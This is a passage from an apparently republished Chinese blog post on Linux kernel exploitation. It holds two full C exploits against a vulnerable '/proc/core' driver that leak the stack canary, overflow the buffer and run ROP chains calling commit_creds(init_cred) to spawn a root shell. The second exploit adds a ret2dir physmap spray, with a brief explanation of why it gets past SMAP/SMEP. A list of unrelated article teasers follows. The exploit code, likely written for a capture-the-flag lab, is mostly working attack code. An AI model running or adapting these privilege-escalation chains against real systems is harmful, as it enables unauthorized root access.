size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset + 8;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(size_t *) &buf[80] = add_rsp_0xe8_ret;

    core_write(buf, sizeof(buf));

    __asm__(
            "mov r15, pop_rdi_ret;"
            "mov r14, init_cred;"
            "mov r13, commit_creds;"
            "mov r12, swapgs_restore_regs_and_return_to_usermode;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rcx, 0xbbbbbbbbbbbbbbbb;"
            "mov rax, 16;"
            "mov rdx, 0xffffffffffff0058;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall"
            );

    system("/bin/sh");

    return 0;
}

ret2dir

physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。另一方面,我们知道用户空间的虚拟内存也会映射到RAM。这就存在两个虚拟内存地址(一个在physmap地址,一个在用户空间地址)映射到同一个RAM地址的情况。也就是说,我们在用户空间里创建的数据,代码很有可能映射到physmap空间。基于这个理论在用户空间用mmap()把提权代码映射到内存,然后再在physmap里找到其对应的副本,修改EIP跳到副本执行就可以了。因为physmap本身就是在内核空间里,所以SMAP/SMEP都不会发挥作用。

在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用,即rsp修改到physmap上的某个偏移处,然后ret

说白了就是可以在内核地址找到一块用户态控制的内存

  1. mmap 大量的内存(rop chains 等),提高命中的概率
    以页为单位mmap分配,除了最后布置rop链,前面布置ret的地址
  2. 泄露出 slab 的地址,计算出 physmap的地址(开启KALSR后physmap地址是随机的)
  3. 劫持内核执行流到 physmap 上
    栈迁移到ptr_regs,然后再pop rsp ret 栈迁移到physmap上
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

size_t try_hit = 0xffff880000000000 + 0x7000000;
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rsp_ret = 0xffffffff81001689;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t ret = 0xFFFFFFFF8100168A;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_shell() { system("/bin/sh"); }

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            pop_rsp_ret += offset;
            ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

void physmap_spray() {
    size_t page_size = sysconf(_SC_PAGESIZE);
    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    int it = 0;
    for (; it < (page_size / 8 - 11); it++) {
        rop[it] = ret;
    }
    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;
    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
    puts("[*] Spraying physmap...");
    for (int i = 1; i < 30000; i++) {
        void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(page, rop, page_size);
    }
}

int main() {
    rebase();
    save_status();
    physmap_spray();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(size_t *) &buf[80] = add_rsp_0xe8_ret;

    core_write(buf, sizeof(buf));

    __asm__(
            "mov r15, pop_rsp_ret;"
            "mov r14, try_hit;"
            "mov r13, 0x3333333333333333;"
            "mov r12, 0x4444444444444444;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rcx, 0xbbbbbbbbbbbbbbbb;"
            "mov rax, 16;"
            "mov rdx, 0xffffffffffff0058;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall;"
            );

    system("/bin/sh");

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1911025.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用命令行修改Ubuntu 24.04的网络设置

Ubuntu里&#xff0c;使用命令行下修改IP地址&#xff0c;网上有很多方案&#xff0c;我最终觉得这个方案&#xff08;使用Netplan&#xff09;最好&#xff0c;最根本&#xff0c;记录下来备查 1.使用命令ip link show 查看Ubuntu上可以使用的网络接口名称 2.查找Netplan的配…

全志T527 适配YT8531 双以太网

一、确认硬件接口 phy1&#xff1a; phy2&#xff1a; PHY 地址设置&#xff1a; YT8531 的地址由上图所示的三个管脚外接 ( 或内部默认 ) 电阻来配置。外部不接上下拉电阻时&#xff0c;内部默认 phy 地址为 000( 十进制 0) &#xff1b;若外接电阻&#xff0c;例如上图所接…

前端面试题33(实时消息传输)

前端实时传输协议主要用于实现实时数据交换&#xff0c;特别是在Web应用中&#xff0c;它们让开发者能够构建具有实时功能的应用&#xff0c;如聊天、在线协作、游戏等。以下是几种常见的前端实时传输协议的讲解&#xff1a; 1. Short Polling (短轮询) 原理&#xff1a;客户…

二分查找3

1. 有序数组中的单一元素&#xff08;540&#xff09; 题目描述&#xff1a; 算法原理&#xff1a; 二分查找解题关键就在于去找到数组的二段性&#xff0c;这里数组的二段性是从单个数字a开始出现然后分隔出来的&#xff0c;如果mid落入左半部分那么当mid为偶数时nums[mid1]…

搞清楚[继承],易如反掌

穷不失义&#xff0c;达不离道。——孔丘《论语》 继承 1、简单理解2、继承2、1、继承的概念2、2、继承定义2、3、基类和派生类对象赋值转换2、4、继承中的作用域2、5、派生类默认成员函数2、6、继承中的特点2、6、1、友元2、6、2、静态成员2、6、3、菱形继承及菱形虚拟继承 3、…

【开源】基于RMBG的一键抠图与证件照制作系统【含一键启动包】

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

2024浙江外国语学院汉语桥线上项目 “在杭州,看见更好的中国”开班

7月9日上午&#xff0c;由教育部中外语言交流合作中心主办、浙江外国语学院国际商学院承办的2024汉语桥“在杭州&#xff0c;看见更好的中国”线上项目正式启动。项目负责人何骅老师及汉语桥教师团队&#xff0c;与来自越南、缅甸、日本、俄罗斯的100名学员相聚云端&#xff0c…

JavaSE学习笔记第二弹——对象和多态(上)

目录 面向对象基础 面向对象程序设计的定义 类的基本结构 成员变量 成员方法 方法定义与使用 设计练习 方法重载 构造方法 静态变量和静态方法 String和StringBuilder 基本含义 区别 总结 今天我们继续来学习JavaSE&#xff0c;扩展和Java相关的知识&#xff0c;…

当CNN遇上Mamba,高性能与高效率通通拿下!

传统视觉模型在处理大规模或高分辨率图像时存在一定限制&#xff0c;为解决这个问题&#xff0c;研究者们就最近依旧火热的Mamba&#xff0c;提出了Mamba结合CNN的策略。 这种结合可以让Mamba在处理长序列数据时既能够捕捉到序列中的时间依赖关系&#xff0c;又能够利用CNN的局…

android自定义键盘弹窗

样式布局 要在Android中自定义键盘弹窗&#xff0c;先要创建一个新的XML布局文件&#xff0c;用于定义键盘弹窗的外观和布局。例如&#xff0c;创建一个名为key_alert_dialog.xml的文件&#xff0c;并在其中添加所需的按钮和其他UI元素。 <?xml version"1.0" e…

7月9日学习打卡-回文链表,交叉链表

大家好呀&#xff0c;本博客目的在于记录暑假学习打卡&#xff0c;后续会整理成一个专栏&#xff0c;主要打算在暑假学习完数据结构&#xff0c;因此会发一些相关的数据结构实现的博客和一些刷的题&#xff0c;个人学习使用&#xff0c;也希望大家多多支持&#xff0c;有不足之…

海外多语言盲盒APP系统开发

随着盲盒的全球化发展&#xff0c;盲盒已经成为了一个热门行业&#xff0c;不仅深受我国消费者的青睐&#xff0c;更是深受海外消费者的喜爱。目前&#xff0c;盲盒出海已经成为了企业拓展市场的新机会。 在数字化时代&#xff0c;海外盲盒APP为企业提供了一个快速打开海外盲盒…

57、基于概率神经网络(PNN)的分类(matlab)

1、基于概率神经网络(PNN)的分类简介 PNN&#xff08;Probabilistic Neural Network&#xff0c;概率神经网络&#xff09;是一种基于概率论的神经网络模型&#xff0c;主要用于解决分类问题。PNN最早由马科夫斯基和马西金在1993年提出&#xff0c;是一种非常有效的分类算法。…

MyBatis框架学习笔记(一):MyBatis入门

1 MyBatis 介绍 1.1 官方文档 MyBatis 中文手册&#xff1a; &#xff08;1&#xff09;https://mybatis.org/mybatis-3/zh/index.html &#xff08;2&#xff09;https://mybatis.net.cn/ Maven 仓库&#xff1a; https://mvnrepository.com/ 仓库作用&#xff1a;需要…

android Dialog全屏沉浸式状态栏实现

在Android中&#xff0c;创建沉浸式状态栏通常意味着让状态栏背景与应用的主题颜色一致&#xff0c;并且让对话框在状态栏下面显示&#xff0c;而不是浮动。为了实现这一点&#xff0c;你可以使用以下代码片段&#xff1a; 1、实际效果图&#xff1a; 2、代码实现&#xff1a;…

第一次坐火车/高铁,如何坐?全流程讲解

第一次坐动车注意事项 第一次乘动车流程&#xff1a;进站→安检→候车厅→找检票口→过闸机→站台候车→找车厢→上车找座→下车→出站 乘车流程 一、进火车站/高铁站&#xff1a;刷购票证件原件进站 1、自助闸机刷证&#xff1a;身份证 2、人工通道&#xff1a;护照、临时…

Oracle通过procedure调用webservice接口

文章目录 准备工作方法体如下Oracle语句详情重要参数说明Web Service的URL地址构造SOAP请求包体构造SOAP请求包体方法依次如下操作即可&#xff1a; 如果需要把上面的功能变成function或者procedure&#xff0c;请自行搜索相关的方法实现即可。 准备工作 定义测试的webservice…

怎么将图片旋转30度?旋转图片的几种方法推荐

怎么将图片旋转30度&#xff1f;在创作过程中&#xff0c;我们常常需要处理图片的镜像效果&#xff0c;确保其视觉效果和构图都达到最佳状态。镜像效果的合理运用不仅可以解决视觉单调的问题&#xff0c;还能在艺术作品中吸引观者的注意力。此外&#xff0c;镜像可以有效地调整…

MoRA: High-Rank Updating for Parameter-Efficient Fine-Tuning

文章汇总 LoRA的问题 与FFT相比&#xff0c;低秩更新难以记忆新知识。虽然不断提高LoRA的秩可以缓解这一问题&#xff0c;但差距仍然存在。 动机 尽可能地利用相同的可训练参数来获得更高的 Δ W \Delta W ΔW秩。 考虑到预训练权值 W 0 ∈ R d k W_0\in R^{d\times k} W0​…